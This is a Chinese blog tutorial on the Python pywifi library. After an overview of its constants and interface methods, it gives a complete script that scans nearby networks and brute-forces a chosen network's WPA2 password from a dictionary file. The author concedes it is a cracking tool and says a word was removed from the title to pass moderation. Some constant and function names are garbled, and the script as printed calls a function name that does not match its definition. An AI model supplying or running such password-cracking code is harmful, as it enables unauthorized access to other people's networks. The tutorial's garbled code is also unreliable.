本文作者:云初冀北

python中pywifi的具体使用

python中pywifi的具体使用摘要: 写在前面无线AP(Access Point):即无线接入点python的wifi管理模块叫pywifi安装pip install pywifipywifi常量接口状态Interfa...

?=写在前面

无线ap(Access Point):即无线接入点

Python的wifi管理模块pywifi

安装

Pip install pywifi

pywifi

常量

接口状态interface.status()将返回以下状态代码之一。

const.IFACE_DISCONNECTED # 无连接 const.IFACE_SCANNING # 扫描中 const.IFACE_INACTIVE # 激活 const.IFACE_CONNECTING# 连接中 const.IFACE_CONNECTED# 连接

身份验证算法

身份验证算法应辅助到配置文件中。 在正常情况下,几乎所有AP都使用开放算法。

const.AUTH_open# 授权打开 const.AUTH_SHARED # 身份验证共享

密钥管理类型

密钥管理型应分配给配置文件。

对于普通 AP,如果

AP 不是安全设置,请将配置文件 AKM 设置为 。AKM_type_noNEAP 处于 WPA 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPAPSKAP 处于 WPA2 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPA2PSKAKM_Type_WPA并由企业 AP 使用。AKM_TYPE_WPA2

const.AKM_TYPE_NONE const.AKM_TYPE_WPA const.AKM_TYPE_WPAPSK const.AKM_TYPE_WPA2 const.AKM_TYPE_WPA2PSK # 一般用这个

密码类型如果 akm 不是,则应将密码类型设置为配置文件。 您可以参考要连接的AP的设置。AKM_TYPE_NONE

const.CIPHER_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP

网络配置文件配置文件是我们要连接到的AP的设置。 配置文件的字段:

ssID- AP 的 ssid/wifi的名字auth- AP 的身份验证算法。akm- AP 的密钥管理类型。cipher- AP 的密码类型。key (最佳) - AP 的键。 如果密码不是 ,则应设置此项。CIPHER_TYPE_NONE

接口

接口是指我们用来执的 Wi-Fi 接口 Wi-Fi 操作(例如扫描、连接、断开连接等)。

首先:获取接口信息通常,平台中将只有一个Wi-Fi接口。 因此,使用索引 0 00 获取 Wi-Fi 接口。

import pywifi  wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0]

Interface.name()获取 Wi-Fi 接口的名称。

Interface.scan()触发接口扫描 APs。

Interface.scan_resulTS()获取上一次触发扫描的结果。 将返回配置文件列表。注意:因为每个 Wi-Fi 接口的扫描时间都是不同的。 2~8秒后拨打更安全。

Interface.add.network_proFile(profile)添加 AP 配置文件以便稍后连接。

Interface.remove_all_network_profiles()卸下所有AP配置文件。

Interface.network_profiles()通过返回配置文件表获取所有已保存的AP配置文件。

Interface.connect(profile)通过给定配置文件连接到指定的 AP。注意。作为当前的设计,应该是 之前调用的被调用。add_network_profile(profile)connect(profile)

Interface.disconnect()断开当前 AP 连接。

Interface.status()获取当前状态的状态。

wifi连接代码

pywifi原理就是操纵网卡,一个一个的试密码,直到密码正确,这时电脑也会连上这个wifi。效率极低,就用来练手就行害,加上2个字会过不了审核我不理解。这东西又不会真的拿去用,连接一次就得2秒,跑完字典不知道要多久去了。

# coding:utf-8 import pywifi from pywifi import const import time import datetime   # 输入wifi名称 def wifi_scan():     print("开始扫描wifi,请等待...")     iface.scan()  # 扫描     time.sleep(3)     results = iface.scan_results()  # 扫描结果     a = set()     for data in results:  # 每一个wifi创建一个对象         if data.ssid not in a:             a.add(data.ssid)             print(data.ssid.encode('raw_unicode_esCAPe').decode('utf-8'))   # 测试连接,返回链接结果 def wifi_connect(pwd):     # 断开所有连接     iface.disconnect()     time.sleep(0.5)      # 测试网卡是否属于断开状态     wifi_status = iface.status()     if wifi_status == const.IFACE_DISCONNECTED:         # 创建WiFi连接文件         profile = pywifi.Profile()         # 要连接WiFi的名称         profile.ssid = name         # 网卡的开放状态         profile.auth = const.AUTH_ALG_OPEN         # wifi加密算法,一般wifi加密算法为wps         profile.akm.append(const.AKM_TYPE_WPA2PSK)         # 加密单元         profile.cipher = const.CIPHER_TYPE_CCMP         # 设定连接文件         iface.add_network_profile(profile)         # 调用密码         profile.key = pwd          # 删除所有连接过的wifi文件         iface.remove_all_network_profiles()          # 设定新的连接文件         tep_profile = iface.add_network_profile(profile)         iface.connect(tep_profile)          # wifi连接时间         time.sleep(1)         if iface.status() == const.IFACE_CONNECTED:             return True         else:             return False      else:         print("已有wifi连接")   def readPassWord():     print("开始破解:")     # 密码字典路径"密码本路径"     path = "路径"     i = 0     # 打开密码字典逐行读取     with open(path, 'r') as f:         for line in f:             pwd = line.strip('\n')             if 8 < len(pwd) < 16:                 # 一行一行读取                 i += 1                 if i % 10 == 0:                     print("正在进行第{}次尝试".fORMat(i))                 b = wifi_connect(pwd)                 if b:                     print("密码已破解: ", pwd)                     print("WiFi已自动连接!!!")                     break   # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个wifi接口 iface = wifi.interfaces()[0] # 输出全部wifi wifi_scan() # 输入wifi名称 name = input("请输入wifi名称:").encode('utf-8').decode('raw_unicode_escape') start = datetime.datetime.now() readPassword() end = datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end - start))

到此这篇关于python中pywifi的具体使用的文章就介绍到这了,更多相关python pywifi内容请搜索云初冀北以前的文章或继续浏览下面的相关文章希望大家以后多多支持云初冀北!

免责声明
本站提供的资源,都来自网络,版权争议与本站无关,所有内容及软件的文章仅限用于学习和研究目的。不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负,我们不保证内容的长久可用性,通过使用本站内容随之而来的风险与本站无关,您必须在下载后的24个小时之内,从您的电脑/手机中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。侵删请致信E-mail:Goliszhou@gmail.com
$

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

阅读
分享

发表评论

快捷回复:

评论列表 (暂无评论,19人围观)参与讨论

还没有评论,来说两句吧...